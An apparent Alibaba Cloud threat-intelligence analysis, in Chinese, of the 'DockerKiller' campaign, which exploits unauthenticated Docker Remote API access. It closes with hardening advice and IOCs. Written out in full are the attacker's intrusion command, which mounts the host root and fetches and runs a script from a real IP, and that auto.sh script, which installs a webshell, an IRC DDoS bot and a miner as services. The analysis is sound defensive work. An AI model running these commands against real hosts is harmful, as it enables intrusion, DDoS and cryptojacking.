威胁情报| DockerKiller:首个针对Docker的批量攻击与利用实例

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全基线管理CSPM免费试用,1000次1年
云安全中心漏洞修复资源包免费试用,100次1年
简介:

随着微服务的热度不断上升,越来越多的企业选择容器来部署自己的应用。而Docker作为实现微服务首选容器,在大规模部署的同时其安全性却没有引起足够的重视。

近期阿里云安全团队发现首个针对Docker批量攻击与利用实例,攻击者对Docker攻击后利用IRC后门、webshell多种手段实现持久化,在主机上执行挖矿、DDoS等恶意行为。随着攻防对抗成本的逐步增加,未来此类攻击利用行为可能会越来越直接,其利用套现方式也会变得多重。建议企业加强对其边缘应用的管理,防范因不当配置而导致的威胁风险。

Docker是一个开源的应用容器引擎,允许开发者将其应用和依赖包打包到一个可移植的容器中,并发布到任何流行的Linux机器上,以实现虚拟化。由于有非常好的移植性,Docker被广泛应用到简化配置、快速部署、多租户环境中,并逐步使用到生产环境中,且广泛部署到云上。

然而,Docker给互联网开发者带来便利的同时,其安全事件或配置却没有像主机端或其他应用得到该有的重视。正如我们所熟知的Redis因配置不当可以导致未授权访问,被攻击者恶意利用,例如著名的蠕虫DDG通过Redis未授权访问漏洞进行传播,且感染量巨大、影响深远。而Docker的Remote API因配置不当也可以未经授权进行访问,与Redis类似攻击者无需认证即可访问到Docker数据,漏洞可能导致铭感信息泄露、修改、服务器受控等。

近期阿里云安全团队发现首个针对Docker批量攻击与利用实例被入侵主机上发现了名为bashdxmp.php等文件,其分别用于DDos攻击、挖矿、webshell后门维持。由于这批样本专门针对Docker进行攻击、利用,因此我们将这批样本命名为DockerKiller。目前,该样本还未大批量传播,但是一旦爆发,很可能导致Docker被大规模入侵及利用,使企业用户资产遭受重大损失。目前阿里云云盾已经可以防御此类攻击,阿里云安全团队也会持续跟进DockerKiller最新情况,

本文将从扫描、入侵、利用等多个方面,还原DockerKiller整个过程,为大家解密一起专门针对Docker攻击、利用的安全事件。

解密DockerKiller

阿里云安全通过相关线索发现DockerKiller下载服务器,其存放着Linux Shell脚本、二进制文件、php文件以及一些配置文件,其创建时间都为2018年7月17日。

bf13ac7d6d1cbefbeaf7d0d37e1df8d205fb1ac9

经过分析以上文件为:扫描脚本、入侵脚本、DDoS木马、挖矿程序、WebShell等,通过以上几个部分的相互协作,构成了DockerKiller从扫描到入侵、利用、维持等一系列流程。

其完整的攻击路线图如下:

cc8f4f471a61ad0b03897fa2844215f18c5a6183

以下,我们将从入侵、利用、后门维持等方面进行详细分析:

脚本分析(扫描与批量入侵)

从p.txt文件中我们可以发现,在2018年7月16日,作者用Masscan对本地局域网的172所属的5个网段进行了扫描,疑似在测试扫描脚本。

599cfe40f4973afd6c5fbd3abf51593710a5b11d

test.sh为发起入侵的脚本,脚本从dockerips.txt中读取通过Masscan扫描得到的开放了2375端口的Docker容器的IP,之后通过命令对读取的IP进行入侵,具体可见从服务器159.203.21.239拉取脚本auto.sh并执行。

df0e022d771101270167926741ce63e5f910953b

其关键代码如下,该脚本通过Docker未授权访问漏洞进行入侵,成功进入被入侵的主机后,即从远程的下载服务器上下载执行脚本auto.sh,之后便执行该脚本,然后进行删除

Docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget http://159.203.21.239/p/auto.sh" -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.sh

成功入侵到Docker内之后,将会执行auto.sh,脚本会对老版本文件进行清理,之后从下载服务器中拉取包括webshell、挖矿程序、后门程序、任务文件、挖矿配置文件等众多文件到本地,然后一一执行。

功能执行顺序为:

1. 清理相关文件: 删除老版本挖矿、DDoS木马、服务及其配置文件
2. 下载相关文件: 下载webshell后门、DDoS木马、挖矿程序并执行
3. 开启相关服务: 开启挖矿、DDoS木马服务

相关脚本如下:

#!/bin/sh

rm bashd.1;

rm xm.1;

rm data.cfg.1;

rm bashd.service.1;

rm xm.service.1;

wget http://159.203.21.239/p/p.php -O privacy.php | sed 's/\r//g';

cp privacy.php /var/www/html/privacy.php;

cp privacy.php /var/www/privacy.php;

rm privacy.php;

chmod -R 777 /var/www;

wget http://159.203.21.239/p/bashd -O bashd | sed 's/\r//g';

wget http://159.203.21.239/p/xm -O xm | sed 's/\r//g';

wget http://159.203.21.239/p/data.cfg -O data.cfg | sed 's/\r//g';

wget http://159.203.21.239/p/bashd.service -O bashd.service | sed 's/\r//g';

wget http://159.203.21.239/p/xm.service -O xm.service | sed 's/\r//g';

sleep 2s;

chmod 777 bashd;

chmod 777 xm;

sleep 2s;

mv "bashd.service" "/etc/systemd/system/bashd.service";

mv "xm.service" "/etc/systemd/system/xm.service";

systemctl daemon-reload;

systemctl stop bashd.service;

systemctl stop xm.service;

systemctl enable bashd.service;

systemctl start bashd.service;

systemctl enable xm.service;

systemctl start xm.service;

样本分析

DDoS木马

样本bashd改写至kaiten.c,一个基于IRC通信协议的DDoS客户端。大小为42KB,编译的版本为X86-64,编译时间为2018年7月17日11点35分。
程序进入主程序后,先从irc.dal.net、irc.efnet.org、us.quakenet.org三个备选服务器中随机挑选一个进行连接,然后通过内置的频道'#kotchat'和密码'kingofthehill'进行上线
84f5e16d97262aec27f402d88718cd3d6740ac4a

三个服务器地址如下:

aea4995c9fb529f3f613b7e4dda9b3cad85372fb

建立连接后,便等待服务器下发的指令,其支持的命令如下包括发起ACK洪水攻击、SYN洪水攻击、发送UDP包、网络数据抓包等

其具体支持指令和功能如下:

c549a679070fa16aead5cc26622a6bb03110b284

程序通过调用以上函数执行相关指令,例如,以下是该样本发送SYN FLOOD的攻击代码:

260028c80963be532b38065c98d7089ea933e5dd

以下是该样本发送ACK FLOOD的攻击代码:

ee5ad564945e417d0a338ee88b990aa80ae63c28

该样本进入主机之后便直接运行,并通过IRC通信协议连接服务器端,之后便一直等待服务器端下发的指令,主机一旦遭受入侵之后,便沦为肉鸡,作为DDoS客户端发动DDoS攻击。

挖矿程序

挖矿程序xm是基于开源xmrig挖矿工具修改的,大小为1.9M,编译的版本为X86-64,编译时间为2018年7月17日11点35分,可以发现其支持的命令如下:

62b73c7f109399352e2a8dafd9ff9f903d8b68d1

在分析的过程中并未发现其他钱包地址,其服务器中的配置文件data.cfg并不能下载,而该文件应该存储的是钱包地址,依据文件创建时间和阿里云发现该类入侵的时间点,我们怀疑DockerKiller还处于测试阶段,并未大规模批量化的进行利用。

webshell后门

p.php是由php编写的,作者对其做了混淆,其原始文件如下:

e6652d955dea7710ccd4cc2c48e10e0cbc6d44b3

进行解码之后得到如下文件:

0f513bd61dea94d39a4ae9f201f53821d8dfcf19

最终得到一个功能完善的大马,其功能包括基本信息的显示、命令执行、文件上传、爆破等诸多功能:

345ff32f4475469f4be09acd2b1395da8106614c

auto.sh运行之后,会将下载服务器上的p.php下拉到被入侵的主机上,通过cp指令将文件privacy.php拷贝到服务器主目录/var/www/html和/var/www,这样一旦Docker上部署了重要的网站服务,便可以作为后门维持,进行后续一系列包括文件窃取、命令执行、破坏等恶意行为。

安全建议

1. 修改Docker Remote API服务默认参数(需重启服务)

(1)定位到DOCKER_OPTS中的tcp://0.0.0.0.2375,将0.0.0.0修改为127.0.0.1

(2)或将默认端口2375改为自定义端口

2. 为RemoteAPI设置认证措施(需重启服务)

3. 修改Docker服务运行账号(需重启服务)

请以较低权限账号运行Docker账号,这样可以限制攻击者执行高危命令

4. 设置防火墙策略

如果正常业务中 API 服务需要被其他服务器来访问,可以配置安全组策略或 iptables 策略,仅允许指定的 IP 来访问 Docker 接口。

5. 使用阿里巴巴云盾检测及防护

云盾态势感知支持该漏洞的检测和防护,您可以到云盾控制台开通并使用

总结

DockerKiller利用Docker未授权访问漏洞进行挖矿、DDoS攻击、WebShell后门维持等行为。虽然在对样本进行溯源分析的过程中,我们没有发现相关的钱包地址信息,且由于该样本近期才开始活跃,我们有理由怀疑DockerKiller还在测试阶段,暂时没有大批量的传播,但是类似Redis未授权访问漏洞被利用等安全事件,可以推断后续该类攻击可能大规模爆发。

在此提醒广大互联网用户,Docker作为微服务容器,已经被越来越多企业大规模的部署,一旦配置不当,很容易导致大规模的入侵,企业应该自查Docker相关配置,增强对边缘应用的安全意识,切实保护自身资产安全。

IOC:

ded2963630d7ae7e697c27bcbab371edf5719f5b

IRC域名:

irc.dal.net
irc.efnet.org
us.quakenet.org
连接频道: #kotchat 密码: kingofthehill

参考链接

https://help.aliyun.com/knowledge_detail/37517.html
https://dl.packetstormsecurity.net/irc/kaiten.c

相关文章
|
5月前
|
NoSQL 关系型数据库 Redis
Docker的通俗理解和通过宿主机端口访问Redis容器的实例
本文目标:引导初学者入门Docker,理解镜像、容器和宿主机概念,学习常用Docker命令,特别是如何创建并从Redis容器通过宿主机端口访问。 关键点: - Docker核心:镜像(类)、容器(实例)、宿主机(运行环境)。 - `docker pull` 拉取镜像,如 `redis:3.0`。 - `docker run -d --name` 后台运行容器,如 `my-redis`。 - `-p` 参数做端口映射,如 `6379:6379`。 - `docker exec -it` 交互式进入容器,如 `bash` 或执行命令。
261 4
|
前端开发 Java Docker
利用 docker 部署 elasticsearch 集群(单节点多实例)
利用 docker 部署 elasticsearch 集群(单节点多实例)
551 0
|
监控 关系型数据库 MySQL
Docker 容器启动失败日志分析方法,启动sonic容器实例simple时未报错运行一会又停止的问题排查实例演示
Docker 容器启动失败日志分析方法,启动sonic容器实例simple时未报错运行一会又停止的问题排查实例演示
598 0
Docker 容器启动失败日志分析方法,启动sonic容器实例simple时未报错运行一会又停止的问题排查实例演示
|
2月前
|
关系型数据库 MySQL 数据库
docker启动mysql多实例连接报错Can’t connect to local MySQL server through socket ‘/var/run/mysqld/mysqld.sock’
docker启动mysql多实例连接报错Can’t connect to local MySQL server through socket ‘/var/run/mysqld/mysqld.sock’
167 0
|
3月前
|
运维 Ubuntu Shell
掌握Docker容器的创建:从镜像到实例
【8月更文挑战第27天】
533 4
|
6月前
|
Docker 容器
Docker常用命令实例
Docker常用命令实例
58 1
|
6月前
|
Linux Docker 容器
Docker安装实例
Docker安装实例
68 0
|
6月前
|
关系型数据库 MySQL Linux
docker构建mysql以及多实例
docker构建mysql以及多实例
62 0
|
11月前
|
NoSQL 架构师 Redis
还用单机版?教你用Docker+Redis搭建主从复制多实例
以下文章来源于爱笑的架构师 ,作者雷架 从华中科技大学硕士毕业,几年间浪迹于多个一线互联网大厂,具有多年开发实战经验。如果你热爱技术或者你不满足现状喜欢搞事情,那你不妨关注我,让我们一路同行,一起分享技术干货、交流面试技巧、吐槽职场故事。我有故事和酒,你来吗?
|
6月前
|
存储 Linux Docker
Docker【部署 04】Docker Compose下载安装及实例Milvus Docker compose(CPU)使用说明分享
Docker【部署 04】Docker Compose下载安装及实例Milvus Docker compose(CPU)使用说明分享
1208 0